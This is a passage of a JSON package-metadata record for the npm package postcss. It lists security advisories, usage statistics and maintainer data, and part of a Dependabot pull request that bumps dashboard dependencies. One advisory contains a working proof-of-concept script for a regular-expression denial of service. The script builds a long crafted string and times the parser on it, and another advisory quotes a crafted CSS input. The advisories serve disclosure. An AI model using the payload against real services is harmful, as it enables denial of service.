7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-05-10T15:29:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2021-23368","https://github.com/postcss/postcss/commit/8682b1e4e328432ba692bed52326e84439cec9e4","https://github.com/postcss/postcss/commit/b6f3e4d5a8d7504d553267f80384373af3a3dec5","https://lists.apache.org/thread.html/r00158f5d770d75d0655c5eef1bdbc6150531606c8f8bcb778f0627be@%3Cdev.myfaces.apache.org%3E","https://lists.apache.org/thread.html/r16e295b4f02d81b79981237d602cb0b9e59709bafaa73ac98be7cef1@%3Cdev.myfaces.apache.org%3E","https://lists.apache.org/thread.html/r49afb49b38748897211b1f89c3a64dc27f9049474322b05715695aab@%3Cdev.myfaces.apache.org%3E","https://lists.apache.org/thread.html/r5acd89f3827ad9a9cad6d24ed93e377f7114867cd98cfba616c6e013@%3Ccommits.myfaces.apache.org%3E","https://lists.apache.org/thread.html/r8def971a66cf3e375178fbee752e1b04a812a047cc478ad292007e33@%3Cdev.myfaces.apache.org%3E","https://lists.apache.org/thread.html/rad5af2044afb51668b1008b389ac815a28ecea9eb75ae2cab5a00ebb@%3Ccommits.myfaces.apache.org%3E","https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1244795","https://snyk.io/vuln/SNYK-JS-POSTCSS-1090595","https://github.com/postcss/postcss/commit/54cbf3c4847eb0fb1501b9d2337465439e849734","https://github.com/advisories/GHSA-hwj9-h5mp-3pm3"],"source_kind":"github","identifiers":["GHSA-hwj9-h5mp-3pm3","CVE-2021-23368"],"repository_url":"https://github.com/postcss/postcss","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"8.2.10","vulnerable_version_range":"\u003e= 8.0.0, \u003c 8.2.10"},{"first_patched_version":"7.0.36","vulnerable_version_range":"\u003e= 7.0.0, \u003c 7.0.36"}],"ecosystem":"npm","package_name":"postcss"}],"created_at":"2022-12-21T16:12:58.889Z","updated_at":"2023-02-01T05:05:31.000Z","epss_percentage":0.00246,"epss_percentile":0.47814},{"uuid":"GSA_kwCzR0hTQS03Zmg1LTY0cDItM3Yyas4AA2Js","url":"https://github.com/advisories/GHSA-7fh5-64p2-3v2j","title":"PostCSS line return parsing error","description":"An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be `\\r` discrepancies, as demonstrated by `@font-face{ font:(\\r/*);}` in a rule.\n\nThis vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-09-30T00:31:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2023-44270","https://github.com/postcss/postcss/commit/58cc860b4c1707510c9cd1bc1fa30b423a9ad6c5","https://github.com/postcss/postcss/blob/main/lib/tokenize.js#L25","https://github.com/postcss/postcss/releases/tag/8.4.31","https://github.com/github/advisory-database/issues/2820","https://github.com/advisories/GHSA-7fh5-64p2-3v2j"],"source_kind":"github","identifiers":["GHSA-7fh5-64p2-3v2j","CVE-2023-44270"],"repository_url":"https://github.com/postcss/postcss","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"8.4.31","vulnerable_version_range":"\u003c 8.4.31"}],"ecosystem":"npm","package_name":"postcss"}],"created_at":"2023-10-03T16:06:21.832Z","updated_at":"2025-05-25T01:10:15.982Z","epss_percentage":0.00109,"epss_percentile":0.30477},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTU2Nm0tcWo3OC1yd3c1","url":"https://github.com/advisories/GHSA-566m-qj78-rww5","title":"Regular Expression Denial of Service in postcss","description":"The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \n```regex\n\\/\\*\\s* sourceMappingURL=(.*)\n```\n\n### PoC\n```js\nvar postcss = require(\"postcss\")\nfunction build_attack(n) {\n    var ret = \"a{}\"\n    for (var i = 0; i \u003c n; i++) {\n        ret += \"/*# sourceMappingURL=\"\n    }\n    return ret + \"!\";\n}\n```\n```js\npostcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i \u003c= 500000; i++) {\n    if (i % 1000 == 0) {\n        var time = Date.now();\n        var attack_str = build_attack(i) try {\n            postcss.parse(attack_str) var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        } catch (e) {\n            var time_cost = Date.now() - time;\n            console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost + \" ms\");\n        }\n    }\n}\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-01-07T00:21:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2021-23382","https://github.com/postcss/postcss/commit/2b1d04c867995e55124e0a165b7c6622c1735956","https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1255641","https://snyk.io/vuln/SNYK-JS-POSTCSS-1255640","https://github.com/postcss/postcss/releases/tag/7.0.36","https://github.com/advisories/GHSA-566m-qj78-rww5"],"source_kind":"github","identifiers":["GHSA-566m-qj78-rww5","CVE-2021-23382"],"repository_url":"https://github.com/postcss/postcss","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"7.0.36","vulnerable_version_range":"\u003c 7.0.36"},{"first_patched_version":"8.2.13","vulnerable_version_range":"\u003e= 8.0.0, \u003c 8.2.13"}],"ecosystem":"npm","package_name":"postcss"}],"created_at":"2022-12-21T16:12:35.257Z","updated_at":"2023-09-08T19:35:15.000Z","epss_percentage":0.00049,"epss_percentile":0.1499}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/postcss","docker_dependents_count":24985,"docker_downloads_count":8157385589,"usage_url":"https://repos.ecosyste.ms/usage/npm/postcss","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/postcss/dependencies","status":null,"funding_links":["https://opencollective.com/postcss/","https://tidelift.com/funding/github/npm/postcss","https://github.com/sponsors/ai","https://opencollective.com/postcss"],"critical":true,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/postcss/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/postcss/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/postcss/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/postcss/related_packages","maintainers":[{"uuid":"ai","login":"ai","name":null,"email":"andrey@sitnik.ru","url":null,"packages_count":168,"html_url":"https://www.npmjs.com/~ai","role":null,"created_at":"2022-11-10T11:17:32.014Z","updated_at":"2022-11-10T11:17:32.014Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/ai/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5006533,"maintainers_count":1012930,"namespaces_count":295512,"keywords_count":700181,"github":"npm","metadata":{"funded_packages_count":150239},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2025-06-06T05:58:05.971Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},"unique_repositories_count":11732,"unique_repositories_count_past_30_days":188,"recent_issues":[{"uuid":"4941022080","node_id":"PR_kwDOQ30nx870dm0Q","number":401,"state":"open","title":"build(deps): bump the dashboard-deps group in /dashboard with 32 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-21T16:32:40.000Z","updated_at":"2026-07-21T16:35:41.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps): bump","group_name":"dashboard-deps","update_count":32,"packages":[{"name":"@radix-ui/react-accordion","old_version":"1.2.16","new_version":"1.2.17","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-alert-dialog","old_version":"1.1.19","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-avatar","old_version":"1.2.2","new_version":"1.2.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-checkbox","old_version":"1.3.7","new_version":"1.3.8","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-collapsible","old_version":"1.1.16","new_version":"1.1.17","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dialog","old_version":"1.1.19","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dropdown-menu","old_version":"2.1.20","new_version":"2.1.21","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-label","old_version":"2.1.11","new_version":"2.1.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-popover","old_version":"1.1.19","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-progress","old_version":"1.1.12","new_version":"1.1.13","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-scroll-area","old_version":"1.2.14","new_version":"1.2.15","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-select","old_version":"2.3.3","new_version":"2.3.4","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-separator","old_version":"1.1.11","new_version":"1.1.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-switch","old_version":"1.3.3","new_version":"1.3.4","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tabs","old_version":"1.1.17","new_version":"1.1.18","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-toggle","old_version":"1.1.14","new_version":"1.1.15","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tooltip","old_version":"1.2.12","new_version":"1.2.13","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@tanstack/react-query","old_version":"5.101.2","new_version":"5.101.4","repository_url":"https://github.com/TanStack/query"},{"name":"@tanstack/react-virtual","old_version":"3.14.6","new_version":"3.14.7","repository_url":"https://github.com/TanStack/virtual"},{"name":"lucide-react","old_version":"1.24.0","new_version":"1.25.0","repository_url":"https://github.com/lucide-icons/lucide"},{"name":"nuqs","old_version":"2.9.0","new_version":"2.9.1","repository_url":"https://github.com/47ng/nuqs"},{"name":"react","old_version":"19.2.7","new_version":"19.2.8","repository_url":"https://github.com/react/react"},{"name":"react-dom","old_version":"19.2.7","new_version":"19.2.8","repository_url":"https://github.com/react/react"},{"name":"react-hook-form","old_version":"7.81.0","new_version":"7.82.0","repository_url":"https://github.com/react-hook-form/react-hook-form"},{"name":"@tailwindcss/vite","old_version":"4.3.2","new_version":"4.3.3","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"@typescript-eslint/parser","old_version":"8.64.0","new_version":"8.65.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"autoprefixer","old_version":"10.5.2","new_version":"10.5.4","repository_url":"https://github.com/postcss/autoprefixer"},{"name":"knip","old_version":"6.26.0","new_version":"6.27.0","repository_url":"https://github.com/webpro-nl/knip"},{"name":"postcss","old_version":"8.5.19","new_version":"8.5.21","repository_url":"https://github.com/postcss/postcss"},{"name":"prettier","old_version":"3.9.5","new_version":"3.9.6","repository_url":"https://github.com/prettier/prettier"},{"name":"tailwindcss","old_version":"4.3.2","new_version":"4.3.3","repository_url":"https://github.com/tailwindlabs/tailwindcss"},{"name":"vite","old_version":"8.1.4","new_version":"8.1.5","repository_url":"https://github.com/vitejs/vite"}],"path":"/dashboard","ecosystem":"npm"},"body":"Bumps the dashboard-deps group in /dashboard with 32 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@radix-ui/react-accordion](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/accordion) | `1.2.16` | `1.2.17` |\n| [@radix-ui/react-alert-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/alert-dialog) | `1.1.19` | `1.1.20` |\n| [@radix-ui/react-avatar](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/avatar) | `1.2.2` | `1.2.3` |\n| [@radix-ui/react-checkbox](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/checkbox) | `1.3.7` | `1.3.8` |\n| [@radix-ui/react-collapsible](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/collapsible) | `1.1.16` | `1.1.17` |\n| [@radix-ui/react-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dialog) | `1.1.19` | `1.1.20` |\n| [@radix-ui/react-dropdown-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dropdown-menu) | `2.1.20` | `2.1.21` |\n| [@radix-ui/react-label](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/label) | `2.1.11` | `2.1.12` |\n| [@radix-ui/react-popover](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/popover) | `1.1.19` | `1.1.20` |\n| [@radix-ui/react-progress](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/progress) | `1.1.12` | `1.1.13` |\n| [@radix-ui/react-scroll-area](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/scroll-area) | `1.2.14` | `1.2.15` |\n| [@radix-ui/react-select](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/select) | `2.3.3` | `2.3.4` |\n| [@radix-ui/react-separator](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/separator) | `1.1.11` | `1.1.12` |\n| [@radix-ui/react-switch](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/switch) | `1.3.3` | `1.3.4` |\n| [@radix-ui/react-tabs](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tabs) | `1.1.17` | `1.1.18` |\n| [@radix-ui/react-toggle](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/toggle) | `1.1.14` | `1.1.15` |\n| [@radix-ui/react-tooltip](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tooltip) | `1.2.12` | `1.2.13` |\n| [@tanstack/react-query](https://github.com/TanStack/query/tree/HEAD/packages/react-query) | `5.101.2` | `5.101.4` |\n| [@tanstack/react-virtual](https://github.com/TanStack/virtual/tree/HEAD/packages/react-virtual) | `3.14.6` | `3.14.7` |\n| [lucide-react](https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react) | `1.24.0` | `1.25.0` |\n| [nuqs](https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs) | `2.9.0` | `2.9.1` |\n| [react](https://github.com/react/react/tree/HEAD/packages/react) | `19.2.7` | `19.2.8` |\n| [react-dom](https://github.com/react/react/tree/HEAD/packages/react-dom) | `19.2.7` | `19.2.8` |\n| [react-hook-form](https://github.com/react-hook-form/react-hook-form) | `7.81.0` | `7.82.0` |\n| [@tailwindcss/vite](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-vite) | `4.3.2` | `4.3.3` |\n| [@typescript-eslint/parser](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/parser) | `8.64.0` | `8.65.0` |\n| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.5.2` | `10.5.4` |\n| [knip](https://github.com/webpro-nl/knip/tree/HEAD/packages/knip) | `6.26.0` | `6.27.0` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.19` | `8.5.21` |\n| [prettier](https://github.com/prettier/prettier) | `3.9.5` | `3.9.6` |\n| [tailwindcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss) | `4.3.2` | `4.3.3` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `8.1.4` | `8.1.5` |\n\nUpdates `@radix-ui/react-accordion` from 1.2.16 to 1.2.17\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/accordion/CHANGELOG.md\"\u003e@​radix-ui/react-accordion's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-collapsible@1.1.17\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/accordion\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-alert-dialog` from 1.1.19 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/alert-dialog/CHANGELOG.md\"\u003e@​radix-ui/react-alert-dialog's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dialog@1.1.20\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/alert-dialog\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-avatar` from 1.2.2 to 1.2.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/avatar/CHANGELOG.md\"\u003e@​radix-ui/react-avatar's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFix dev-only checks with conditional exports to drop dev-warnings from production builds.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-is-hydrated@0.1.1\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/avatar\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-checkbox` from 1.3.7 to 1.3.8\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/checkbox/CHANGELOG.md\"\u003e@​radix-ui/react-checkbox's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFixed a bug where updating a \u003ccode\u003eCheckbox\u003c/code\u003e, \u003ccode\u003eSwitch\u003c/code\u003e, or \u003ccode\u003eRadioGroup\u003c/code\u003e value programmatically (eg. a \u0026quot;select all\u0026quot; control) while inside a \u003ccode\u003e\u0026lt;form\u0026gt;\u003c/code\u003e would dispatch a \u003ccode\u003eclick\u003c/code\u003e event from the hidden bubble input that propagated to ancestor \u003ccode\u003eonClick\u003c/code\u003e handlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/checkbox\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-collapsible` from 1.1.16 to 1.1.17\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/collapsible/CHANGELOG.md\"\u003e@​radix-ui/react-collapsible's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/collapsible\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-dialog` from 1.1.19 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/dialog/CHANGELOG.md\"\u003e@​radix-ui/react-dialog's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed broken ARIA references in Dialogs where a title or description elements are not rendered.\u003c/li\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/dialog\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-dropdown-menu` from 2.1.20 to 2.1.21\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/dropdown-menu/CHANGELOG.md\"\u003e@​radix-ui/react-dropdown-menu's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.1.21\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.21\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, 